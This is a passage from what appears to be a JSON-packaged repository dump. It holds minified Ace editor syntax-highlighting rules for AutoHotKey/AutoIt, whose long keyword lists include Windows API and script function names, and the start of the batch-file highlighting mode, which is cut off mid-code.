x|Min|MouseTrap|NamedPipes_CallNamedPipe|NamedPipes_ConnectNamedPipe|NamedPipes_CreateNamedPipe|NamedPipes_CreatePipe|NamedPipes_DisconnectNamedPipe|NamedPipes_GetNamedPipeHandleState|NamedPipes_GetNamedPipeInfo|NamedPipes_PeekNamedPipe|NamedPipes_SetNamedPipeHandleState|NamedPipes_TransactNamedPipe|NamedPipes_WaitNamedPipe|Net_Share_ConnectionEnum|Net_Share_FileClose|Net_Share_FileEnum|Net_Share_FileGetInfo|Net_Share_PermStr|Net_Share_ResourceStr|Net_Share_SessionDel|Net_Share_SessionEnum|Net_Share_SessionGetInfo|Net_Share_ShareAdd|Net_Share_ShareCheck|Net_Share_ShareDel|Net_Share_ShareEnum|Net_Share_ShareGetInfo|Net_Share_ShareSetInfo|Net_Share_StatisticsGetSvr|Net_Share_StatisticsGetWrk|Now|NowCalc|NowCalcDate|NowDate|NowTime|PathFull|PathMake|PathSplit|ProcessGetName|ProcessGetPriority|Radian|ReplaceStringInFile|RunDOS|ScreenCapture_Capture|ScreenCapture_CaptureWnd|ScreenCapture_SaveImage|ScreenCapture_SetBMPFormat|ScreenCapture_SetJPGQuality|ScreenCapture_SetTIFColorDepth|ScreenCapture_SetTIFCompression|Security__AdjustTokenPrivileges|Security__GetAccountSid|Security__GetLengthSid|Security__GetTokenInformation|Security__ImpersonateSelf|Security__IsValidSid|Security__LookupAccountName|Security__LookupAccountSid|Security__LookupPrivilegeValue|Security__OpenProcessToken|Security__OpenThreadToken|Security__OpenThreadTokenEx|Security__SetPrivilege|Security__SidToStringSid|Security__SidTypeStr|Security__StringSidToSid|SendMessage|SendMessageA|SetDate|SetTime|Singleton|SoundClose|SoundLength|SoundOpen|SoundPause|SoundPlay|SoundPos|SoundResume|SoundSeek|SoundStatus|SoundStop|SQLite_Changes|SQLite_Close|SQLite_Display2DResult|SQLite_Encode|SQLite_ErrCode|SQLite_ErrMsg|SQLite_Escape|SQLite_Exec|SQLite_FetchData|SQLite_FetchNames|SQLite_GetTable|SQLite_GetTable2d|SQLite_LastInsertRowID|SQLite_LibVersion|SQLite_Open|SQLite_Query|SQLite_QueryFinalize|SQLite_QueryReset|SQLite_QuerySingleRow|SQLite_SaveMode|SQLite_SetTimeout|SQLite_Shutdown|SQLite_SQLiteExe|SQLite_Startup|SQLite_TotalChanges|StringAddComma|StringBetween|StringEncrypt|StringInsert|StringProper|StringRepeat|StringReverse|StringSplit|StringToHex|TCPIpToName|TempFile|TicksToTime|Timer_Diff|Timer_GetTimerID|Timer_Init|Timer_KillAllTimers|Timer_KillTimer|Timer_SetTimer|TimeToTicks|VersionCompare|viClose|viExecCommand|viFindGpib|viGpibBusReset|viGTL|viOpen|viSetAttribute|viSetTimeout|WeekNumberISO|WinAPI_AttachConsole|WinAPI_AttachThreadInput|WinAPI_Beep|WinAPI_BitBlt|WinAPI_CallNextHookEx|WinAPI_Check|WinAPI_ClientToScreen|WinAPI_CloseHandle|WinAPI_CommDlgExtendedError|WinAPI_CopyIcon|WinAPI_CreateBitmap|WinAPI_CreateCompatibleBitmap|WinAPI_CreateCompatibleDC|WinAPI_CreateEvent|WinAPI_CreateFile|WinAPI_CreateFont|WinAPI_CreateFontIndirect|WinAPI_CreateProcess|WinAPI_CreateSolidBitmap|WinAPI_CreateSolidBrush|WinAPI_CreateWindowEx|WinAPI_DefWindowProc|WinAPI_DeleteDC|WinAPI_DeleteObject|WinAPI_DestroyIcon|WinAPI_DestroyWindow|WinAPI_DrawEdge|WinAPI_DrawFrameControl|WinAPI_DrawIcon|WinAPI_DrawIconEx|WinAPI_DrawText|WinAPI_EnableWindow|WinAPI_EnumDisplayDevices|WinAPI_EnumWindows|WinAPI_EnumWindowsPopup|WinAPI_EnumWindowsTop|WinAPI_ExpandEnvironmentStrings|WinAPI_ExtractIconEx|WinAPI_FatalAppExit|WinAPI_FillRect|WinAPI_FindExecutable|WinAPI_FindWindow|WinAPI_FlashWindow|WinAPI_FlashWindowEx|WinAPI_FloatToInt|WinAPI_FlushFileBuffers|WinAPI_FormatMessage|WinAPI_FrameRect|WinAPI_FreeLibrary|WinAPI_GetAncestor|WinAPI_GetAsyncKeyState|WinAPI_GetClassName|WinAPI_GetClientHeight|WinAPI_GetClientRect|WinAPI_GetClientWidth|WinAPI_GetCurrentProcess|WinAPI_GetCurrentProcessID|WinAPI_GetCurrentThread|WinAPI_GetCurrentThreadId|WinAPI_GetCursorInfo|WinAPI_GetDC|WinAPI_GetDesktopWindow|WinAPI_GetDeviceCaps|WinAPI_GetDIBits|WinAPI_GetDlgCtrlID|WinAPI_GetDlgItem|WinAPI_GetFileSizeEx|WinAPI_GetFocus|WinAPI_GetForegroundWindow|WinAPI_GetIconInfo|WinAPI_GetLastError|WinAPI_GetLastErrorMessage|WinAPI_GetModuleHandle|WinAPI_GetMousePos|WinAPI_GetMousePosX|WinAPI_GetMousePosY|WinAPI_GetObject|WinAPI_GetOpenFileName|WinAPI_GetOverlappedResult|WinAPI_GetParent|WinAPI_GetProcessAffinityMask|WinAPI_GetSaveFileName|WinAPI_GetStdHandle|WinAPI_GetStockObject|WinAPI_GetSysColor|WinAPI_GetSysColorBrush|WinAPI_GetSystemMetrics|WinAPI_GetTextExtentPoint32|WinAPI_GetWindow|WinAPI_GetWindowDC|WinAPI_GetWindowHeight|WinAPI_GetWindowLong|WinAPI_GetWindowRect|WinAPI_GetWindowText|WinAPI_GetWindowThreadProcessId|WinAPI_GetWindowWidth|WinAPI_GetXYFromPoint|WinAPI_GlobalMemStatus|WinAPI_GUIDFromString|WinAPI_GUIDFromStringEx|WinAPI_HiWord|WinAPI_InProcess|WinAPI_IntToFloat|WinAPI_InvalidateRect|WinAPI_IsClassName|WinAPI_IsWindow|WinAPI_IsWindowVisible|WinAPI_LoadBitmap|WinAPI_LoadImage|WinAPI_LoadLibrary|WinAPI_LoadLibraryEx|WinAPI_LoadShell32Icon|WinAPI_LoadString|WinAPI_LocalFree|WinAPI_LoWord|WinAPI_MakeDWord|WinAPI_MAKELANGID|WinAPI_MAKELCID|WinAPI_MakeLong|WinAPI_MessageBeep|WinAPI_Mouse_Event|WinAPI_MoveWindow|WinAPI_MsgBox|WinAPI_MulDiv|WinAPI_MultiByteToWideChar|WinAPI_MultiByteToWideCharEx|WinAPI_OpenProcess|WinAPI_PointFromRect|WinAPI_PostMessage|WinAPI_PrimaryLangId|WinAPI_PtInRect|WinAPI_ReadFile|WinAPI_ReadProcessMemory|WinAPI_RectIsEmpty|WinAPI_RedrawWindow|WinAPI_RegisterWindowMessage|WinAPI_ReleaseCapture|WinAPI_ReleaseDC|WinAPI_ScreenToClient|WinAPI_SelectObject|WinAPI_SetBkColor|WinAPI_SetCapture|WinAPI_SetCursor|WinAPI_SetDefaultPrinter|WinAPI_SetDIBits|WinAPI_SetEvent|WinAPI_SetFocus|WinAPI_SetFont|WinAPI_SetHandleInformation|WinAPI_SetLastError|WinAPI_SetParent|WinAPI_SetProcessAffinityMask|WinAPI_SetSysColors|WinAPI_SetTextColor|WinAPI_SetWindowLong|WinAPI_SetWindowPos|WinAPI_SetWindowsHookEx|WinAPI_SetWindowText|WinAPI_ShowCursor|WinAPI_ShowError|WinAPI_ShowMsg|WinAPI_ShowWindow|WinAPI_StringFromGUID|WinAPI_SubLangId|WinAPI_SystemParametersInfo|WinAPI_TwipsPerPixelX|WinAPI_TwipsPerPixelY|WinAPI_UnhookWindowsHookEx|WinAPI_UpdateLayeredWindow|WinAPI_UpdateWindow|WinAPI_ValidateClassName|WinAPI_WaitForInputIdle|WinAPI_WaitForMultipleObjects|WinAPI_WaitForSingleObject|WinAPI_WideCharToMultiByte|WinAPI_WindowFromPoint|WinAPI_WriteConsole|WinAPI_WriteFile|WinAPI_WriteProcessMemory|WinNet_AddConnection|WinNet_AddConnection2|WinNet_AddConnection3|WinNet_CancelConnection|WinNet_CancelConnection2|WinNet_CloseEnum|WinNet_ConnectionDialog|WinNet_ConnectionDialog1|WinNet_DisconnectDialog|WinNet_DisconnectDialog1|WinNet_EnumResource|WinNet_GetConnection|WinNet_GetConnectionPerformance|WinNet_GetLastError|WinNet_GetNetworkInformation|WinNet_GetProviderName|WinNet_GetResourceInformation|WinNet_GetResourceParent|WinNet_GetUniversalName|WinNet_GetUser|WinNet_OpenEnum|WinNet_RestoreConnection|WinNet_UseConnection|Word_VersionInfo|WordAttach|WordCreate|WordDocAdd|WordDocAddLink|WordDocAddPicture|WordDocClose|WordDocFindReplace|WordDocGetCollection|WordDocLinkGetCollection|WordDocOpen|WordDocPrint|WordDocPropertyGet|WordDocPropertySet|WordDocSave|WordDocSaveAs|WordErrorHandlerDeRegister|WordErrorHandlerRegister|WordErrorNotify|WordMacroRun|WordPropertyGet|WordPropertySet|WordQuit|ce|comments-end|comments-start|cs|include|include-once|NoTrayIcon|RequireAdmin|AutoIt3Wrapper_Au3Check_Parameters|AutoIt3Wrapper_Au3Check_Stop_OnWarning|AutoIt3Wrapper_Change2CUI|AutoIt3Wrapper_Compression|AutoIt3Wrapper_cvsWrapper_Parameters|AutoIt3Wrapper_Icon|AutoIt3Wrapper_Outfile|AutoIt3Wrapper_Outfile_Type|AutoIt3Wrapper_Plugin_Funcs|AutoIt3Wrapper_Res_Comment|AutoIt3Wrapper_Res_Description|AutoIt3Wrapper_Res_Field|AutoIt3Wrapper_Res_File_Add|AutoIt3Wrapper_Res_Fileversion|AutoIt3Wrapper_Res_FileVersion_AutoIncrement|AutoIt3Wrapper_Res_Icon_Add|AutoIt3Wrapper_Res_Language|AutoIt3Wrapper_Res_LegalCopyright|AutoIt3Wrapper_res_requestedExecutionLevel|AutoIt3Wrapper_Res_SaveSource|AutoIt3Wrapper_Run_After|AutoIt3Wrapper_Run_Au3check|AutoIt3Wrapper_Run_Before|AutoIt3Wrapper_Run_cvsWrapper|AutoIt3Wrapper_Run_Debug_Mode|AutoIt3Wrapper_Run_Obfuscator|AutoIt3Wrapper_Run_Tidy|AutoIt3Wrapper_Tidy_Stop_OnError|AutoIt3Wrapper_UseAnsi|AutoIt3Wrapper_UseUpx|AutoIt3Wrapper_UseX64|AutoIt3Wrapper_Version|EndRegion|forceref|Obfuscator_Ignore_Funcs|Obfuscator_Ignore_Variables|Obfuscator_Parameters|Region|Tidy_Parameters\",t=\"AppDataCommonDir|AppDataDir|AutoItExe|AutoItPID|AutoItUnicode|AutoItVersion|AutoItX64|COM_EventObj|CommonFilesDir|Compiled|ComputerName|ComSpec|CR|CRLF|DesktopCommonDir|DesktopDepth|DesktopDir|DesktopHeight|DesktopRefresh|DesktopWidth|DocumentsCommonDir|error|exitCode|exitMethod|extended|FavoritesCommonDir|FavoritesDir|GUI_CtrlHandle|GUI_CtrlId|GUI_DragFile|GUI_DragId|GUI_DropId|GUI_WinHandle|HomeDrive|HomePath|HomeShare|HotKeyPressed|HOUR|InetGetActive|InetGetBytesRead|IPAddress1|IPAddress2|IPAddress3|IPAddress4|KBLayout|LF|LogonDNSDomain|LogonDomain|LogonServer|MDAY|MIN|MON|MyDocumentsDir|NumParams|OSBuild|OSLang|OSServicePack|OSTYPE|OSVersion|ProcessorArch|ProgramFilesDir|ProgramsCommonDir|ProgramsDir|ScriptDir|ScriptFullPath|ScriptLineNumber|ScriptName|SEC|StartMenuCommonDir|StartMenuDir|StartupCommonDir|StartupDir|SW_DISABLE|SW_ENABLE|SW_HIDE|SW_LOCK|SW_MAXIMIZE|SW_MINIMIZE|SW_RESTORE|SW_SHOW|SW_SHOWDEFAULT|SW_SHOWMAXIMIZED|SW_SHOWMINIMIZED|SW_SHOWMINNOACTIVE|SW_SHOWNA|SW_SHOWNOACTIVATE|SW_SHOWNORMAL|SW_UNLOCK|SystemDir|TAB|TempDir|TRAY_ID|TrayIconFlashing|TrayIconVisible|UserName|UserProfileDir|WDAY|WindowsDir|WorkingDir|YDAY|YEAR\";this.$rules={start:[{token:\"comment.line.ahk\",regex:\"(?:^| );.*$\"},{token:\"comment.block.ahk\",regex:\"/\\\\*\",push:[{token:\"comment.block.ahk\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.ahk\"}]},{token:\"doc.comment.ahk\",regex:\"#cs\",push:[{token:\"doc.comment.ahk\",regex:\"#ce\",next:\"pop\"},{defaultToken:\"doc.comment.ahk\"}]},{token:\"keyword.command.ahk\",regex:\"(?:\\\\b|^)(?:allowsamelinecomments|clipboardtimeout|commentflag|errorstdout|escapechar|hotkeyinterval|hotkeymodifiertimeout|hotstring|include|includeagain|installkeybdhook|installmousehook|keyhistory|ltrim|maxhotkeysperinterval|maxmem|maxthreads|maxthreadsbuffer|maxthreadsperhotkey|noenv|notrayicon|persistent|singleinstance|usehook|winactivateforce|autotrim|blockinput|click|clipwait|continue|control|controlclick|controlfocus|controlget|controlgetfocus|controlgetpos|controlgettext|controlmove|controlsend|controlsendraw|controlsettext|coordmode|critical|detecthiddentext|detecthiddenwindows|drive|driveget|drivespacefree|edit|endrepeat|envadd|envdiv|envget|envmult|envset|envsub|envupdate|exit|exitapp|fileappend|filecopy|filecopydir|filecreatedir|filecreateshortcut|filedelete|filegetattrib|filegetshortcut|filegetsize|filegettime|filegetversion|fileinstall|filemove|filemovedir|fileread|filereadline|filerecycle|filerecycleempty|fileremovedir|fileselectfile|fileselectfolder|filesetattrib|filesettime|formattime|getkeystate|gosub|goto|groupactivate|groupadd|groupclose|groupdeactivate|gui|guicontrol|guicontrolget|hideautoitwin|hotkey|ifequal|ifexist|ifgreater|ifgreaterorequal|ifinstring|ifless|iflessorequal|ifmsgbox|ifnotequal|ifnotexist|ifnotinstring|ifwinactive|ifwinexist|ifwinnotactive|ifwinnotexist|imagesearch|inidelete|iniread|iniwrite|input|inputbox|keyhistory|keywait|listhotkeys|listlines|listvars|menu|mouseclick|mouseclickdrag|mousegetpos|mousemove|msgbox|onexit|outputdebug|pause|pixelgetcolor|pixelsearch|postmessage|process|progress|random|regdelete|regread|regwrite|reload|repeat|run|runas|runwait|send|sendevent|sendinput|sendmode|sendplay|sendmessage|sendraw|setbatchlines|setcapslockstate|setcontroldelay|setdefaultmousespeed|setenv|setformat|setkeydelay|setmousedelay|setnumlockstate|setscrolllockstate|setstorecapslockmode|settimer|settitlematchmode|setwindelay|setworkingdir|shutdown|sleep|sort|soundbeep|soundget|soundgetwavevolume|soundplay|soundset|soundsetwavevolume|splashimage|splashtextoff|splashtexton|splitpath|statusbargettext|statusbarwait|stringcasesense|stringgetpos|stringleft|stringlen|stringlower|stringmid|stringreplace|stringright|stringsplit|stringtrimleft|stringtrimright|stringupper|suspend|sysget|thread|tooltip|transform|traytip|urldownloadtofile|while|winactivate|winactivatebottom|winclose|winget|wingetactivestats|wingetactivetitle|wingetclass|wingetpos|wingettext|wingettitle|winhide|winkill|winmaximize|winmenuselectitem|winminimize|winminimizeall|winminimizeallundo|winmove|winrestore|winset|winsettitle|winshow|winwait|winwaitactive|winwaitclose|winwaitnotactive)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.ahk\",regex:\"(?:\\\\b|^)(?:if|else|return|loop|break|for|while|global|local|byref)\\\\b\",caseInsensitive:!0},{token:\"support.function.ahk\",regex:\"(?:\\\\b|^)(?:abs|acos|asc|asin|atan|ceil|chr|cos|dllcall|exp|fileexist|floor|getkeystate|il_add|il_create|il_destroy|instr|substr|isfunc|islabel|ln|log|lv_add|lv_delete|lv_deletecol|lv_getcount|lv_getnext|lv_gettext|lv_insert|lv_insertcol|lv_modify|lv_modifycol|lv_setimagelist|mod|onmessage|numget|numput|registercallback|regexmatch|regexreplace|round|sin|tan|sqrt|strlen|sb_seticon|sb_setparts|sb_settext|tv_add|tv_delete|tv_getchild|tv_getcount|tv_getnext|tv_get|tv_getparent|tv_getprev|tv_getselection|tv_gettext|tv_modify|varsetcapacity|winactive|winexist)\\\\b\",caseInsensitive:!0},{token:\"variable.predefined.ahk\",regex:\"(?:\\\\b|^)(?:a_ahkpath|a_ahkversion|a_appdata|a_appdatacommon|a_autotrim|a_batchlines|a_caretx|a_carety|a_computername|a_controldelay|a_cursor|a_dd|a_ddd|a_dddd|a_defaultmousespeed|a_desktop|a_desktopcommon|a_detecthiddentext|a_detecthiddenwindows|a_endchar|a_eventinfo|a_exitreason|a_formatfloat|a_formatinteger|a_gui|a_guievent|a_guicontrol|a_guicontrolevent|a_guiheight|a_guiwidth|a_guix|a_guiy|a_hour|a_iconfile|a_iconhidden|a_iconnumber|a_icontip|a_index|a_ipaddress1|a_ipaddress2|a_ipaddress3|a_ipaddress4|a_isadmin|a_iscompiled|a_iscritical|a_ispaused|a_issuspended|a_keydelay|a_language|a_lasterror|a_linefile|a_linenumber|a_loopfield|a_loopfileattrib|a_loopfiledir|a_loopfileext|a_loopfilefullpath|a_loopfilelongpath|a_loopfilename|a_loopfileshortname|a_loopfileshortpath|a_loopfilesize|a_loopfilesizekb|a_loopfilesizemb|a_loopfiletimeaccessed|a_loopfiletimecreated|a_loopfiletimemodified|a_loopreadline|a_loopregkey|a_loopregname|a_loopregsubkey|a_loopregtimemodified|a_loopregtype|a_mday|a_min|a_mm|a_mmm|a_mmmm|a_mon|a_mousedelay|a_msec|a_mydocuments|a_now|a_nowutc|a_numbatchlines|a_ostype|a_osversion|a_priorhotkey|programfiles|a_programfiles|a_programs|a_programscommon|a_screenheight|a_screenwidth|a_scriptdir|a_scriptfullpath|a_scriptname|a_sec|a_space|a_startmenu|a_startmenucommon|a_startup|a_startupcommon|a_stringcasesense|a_tab|a_temp|a_thisfunc|a_thishotkey|a_thislabel|a_thismenu|a_thismenuitem|a_thismenuitempos|a_tickcount|a_timeidle|a_timeidlephysical|a_timesincepriorhotkey|a_timesincethishotkey|a_titlematchmode|a_titlematchmodespeed|a_username|a_wday|a_windelay|a_windir|a_workingdir|a_yday|a_year|a_yweek|a_yyyy|clipboard|clipboardall|comspec|errorlevel)\\\\b\",caseInsensitive:!0},{token:\"support.constant.ahk\",regex:\"(?:\\\\b|^)(?:shift|lshift|rshift|alt|lalt|ralt|control|lcontrol|rcontrol|ctrl|lctrl|rctrl|lwin|rwin|appskey|altdown|altup|shiftdown|shiftup|ctrldown|ctrlup|lwindown|lwinup|rwindown|rwinup|lbutton|rbutton|mbutton|wheelup|wheelleft|wheelright|wheeldown|xbutton1|xbutton2|joy1|joy2|joy3|joy4|joy5|joy6|joy7|joy8|joy9|joy10|joy11|joy12|joy13|joy14|joy15|joy16|joy17|joy18|joy19|joy20|joy21|joy22|joy23|joy24|joy25|joy26|joy27|joy28|joy29|joy30|joy31|joy32|joyx|joyy|joyz|joyr|joyu|joyv|joypov|joyname|joybuttons|joyaxes|joyinfo|space|tab|enter|escape|esc|backspace|bs|delete|del|insert|ins|pgup|pgdn|home|end|up|down|left|right|printscreen|ctrlbreak|pause|scrolllock|capslock|numlock|numpad0|numpad1|numpad2|numpad3|numpad4|numpad5|numpad6|numpad7|numpad8|numpad9|numpadmult|numpadadd|numpadsub|numpaddiv|numpaddot|numpaddel|numpadins|numpadclear|numpadup|numpaddown|numpadleft|numpadright|numpadhome|numpadend|numpadpgup|numpadpgdn|numpadenter|f1|f2|f3|f4|f5|f6|f7|f8|f9|f10|f11|f12|f13|f14|f15|f16|f17|f18|f19|f20|f21|f22|f23|f24|browser_back|browser_forward|browser_refresh|browser_stop|browser_search|browser_favorites|browser_home|volume_mute|volume_down|volume_up|media_next|media_prev|media_stop|media_play_pause|launch_mail|launch_media|launch_app1|launch_app2)\\\\b\",caseInsensitive:!0},{token:\"variable.parameter\",regex:\"(?:\\\\b|^)(?:pixel|mouse|screen|relative|rgb|ltrim|rtrim|join|low|belownormal|normal|abovenormal|high|realtime|ahk_id|ahk_pid|ahk_class|ahk_group|between|contains|in|is|integer|float|integerfast|floatfast|number|digit|xdigit|alpha|upper|lower|alnum|time|date|not|or|and|alwaysontop|topmost|top|bottom|transparent|transcolor|redraw|region|id|idlast|processname|minmax|controllist|count|list|capacity|statuscd|eject|lock|unlock|label|filesystem|label|setlabel|serial|type|status|static|seconds|minutes|hours|days|read|parse|logoff|close|error|single|tray|add|rename|check|uncheck|togglecheck|enable|disable|toggleenable|default|nodefault|standard|nostandard|color|delete|deleteall|icon|noicon|tip|click|show|mainwindow|nomainwindow|useerrorlevel|text|picture|pic|groupbox|button|checkbox|radio|dropdownlist|ddl|combobox|listbox|listview|datetime|monthcal|updown|slider|tab|tab2|statusbar|treeview|iconsmall|tile|report|sortdesc|nosort|nosorthdr|grid|hdr|autosize|range|xm|ym|ys|xs|xp|yp|font|resize|owner|submit|nohide|minimize|maximize|restore|noactivate|na|cancel|destroy|center|margin|maxsize|minsize|owndialogs|guiescape|guiclose|guisize|guicontextmenu|guidropfiles|tabstop|section|altsubmit|wrap|hscroll|vscroll|border|top|bottom|buttons|expand|first|imagelist|lines|wantctrla|wantf2|vis|visfirst|number|uppercase|lowercase|limit|password|multi|wantreturn|group|background|bold|italic|strike|underline|norm|backgroundtrans|theme|caption|delimiter|minimizebox|maximizebox|sysmenu|toolwindow|flash|style|exstyle|check3|checked|checkedgray|readonly|password|hidden|left|right|center|notab|section|move|focus|hide|choose|choosestring|text|pos|enabled|disabled|visible|lastfound|lastfoundexist|alttab|shiftalttab|alttabmenu|alttabandmenu|alttabmenudismiss|notimers|interrupt|priority|waitclose|blind|raw|unicode|deref|pow|bitnot|bitand|bitor|bitxor|bitshiftleft|bitshiftright|yes|no|ok|cancel|abort|retry|ignore|tryagain|on|off|all|hkey_local_machine|hkey_users|hkey_current_user|hkey_classes_root|hkey_current_config|hklm|hku|hkcu|hkcr|hkcc|reg_sz|reg_expand_sz|reg_multi_sz|reg_dword|reg_qword|reg_binary|reg_link|reg_resource_list|reg_full_resource_descriptor|reg_resource_requirements_list|reg_dword_big_endian)\\\\b\",caseInsensitive:!0},{keywordMap:{\"constant.language\":e},regex:\"\\\\w+\\\\b\"},{keywordMap:{\"variable.function\":t},regex:\"@\\\\w+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"keyword.operator.ahk\",regex:\"=|==|<>|:=|<|>|\\\\*|\\\\/|\\\\+|:|\\\\?|\\\\-\"},{token:\"punctuation.ahk\",regex:\"#|`|::|,|\\\\{|\\\\}|\\\\(|\\\\)|\\\\%\"},{token:[\"punctuation.quote.double\",\"string.quoted.ahk\",\"punctuation.quote.double\"],regex:'(\")((?:[^\"]|\"\")*)(\")'},{token:[\"label.ahk\",\"punctuation.definition.label.ahk\"],regex:\"^([^: ]+)(:)(?!:)\"}]},this.normalizeRules()};s.metaData={name:\"AutoHotKey\",scopeName:\"source.ahk\",fileTypes:[\"ahk\"],foldingStartMarker:\"^\\\\s*/\\\\*|^(?![^{]*?;|[^{]*?/\\\\*(?!.*?\\\\*/.*?\\\\{)).*?\\\\{\\\\s*($|;|/\\\\*(?!.*?\\\\*/.*\\\\S))\",foldingStopMarker:\"^\\\\s*\\\\*/|^\\\\s*\\\\}\"},r.inherits(s,i),t.AutoHotKeyHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/autohotkey\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/autohotkey_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./autohotkey_highlight_rules\").AutoHotKeyHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/autohotkey\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-batchfile.js",
    "content": "define(\"ace/mode/batchfile_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"keyword.command.dosbatch\",regex:\"\\\\b(?:append|assoc|at|attrib|break|cacls|cd|chcp|chdir|chkdsk|chkntfs|cls|cmd|color|comp|compact|convert|copy|date|del|dir|diskcomp|diskcopy|doskey|echo|endlocal|erase|fc|find|findstr|format|ftype|graftabl|help|keyb|label|md|mkdir|mode|more|move|path|pause|popd|print|prompt|pushd|rd|recover|ren|rename|replace|restore|rmdir|set|setlocal|shift|sort|start|subst|time|title|tree|type|ver|verify|vol|xcopy)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.statement.dosbatch\",regex:\"\\\\b(?:goto|call|exit)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.conditional.if.dosbatch\",regex:\"\\\\bif\\\\s+not\\\\s+(?:exist|defined|errorlevel|cmdextversion)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.conditional.dosbatch\",regex:\"\\\\b(?:if|else)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.repeat.dosbatch\",regex:\"\\\\bfor\\\\b\",caseInsensitive:!0},{token:\"keyword.operator.dosbatch\",regex:\"\\\\b(?:EQU|NEQ|LSS|LEQ|GTR|GEQ)\\\\b\"},{token:[\"doc.comment\",\"comment\"],regex:\"(?:^|\\\\b)(rem)($|\\\\s.*$)\",caseInsensitive:!0},{token:\"comment.line.colons.dosbatch\",regex:\"::.*$\"},{include:\"variable\"},{token:\"punctuation.definition.string.begin.shell\",regex:'\"',push:[{token:\"punctuation.definition.string.end.shell\",regex:'\"',next:\"pop\"},{include:\"variable\"},{defaultToken:\"string.quoted.double.dosbatch\"}]},{token:\"keyword.operator.pipe.dosbatch\",regex:\"[|]\"},{token:\"keyword.operator.redirect.shell\",regex:\"&>|\\\\d*>&\\\\d*|\\\\d*(?:>>|>|<)|\\\\d*<&|\\\\d*<>\"}],variable:[{token:\"constant.numeric\",regex:\"%%\\\\w+|%[*\\\\d]|%\\\\w+%\"},{token:\"constant.numeric\",regex:\"%~\\\\d+\"},{token:[\"markup.list\",\"constant.other\",\"markup.list\"],regex:\"(%)(\\\\w+)(%?)\"}]},this.normalizeRules()};s.metaData={name:\"Batch File\",scopeName:\"source.dosbatch\",fileTypes:[\"bat\"]},r.inherits(s,i),t.BatchFileHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new 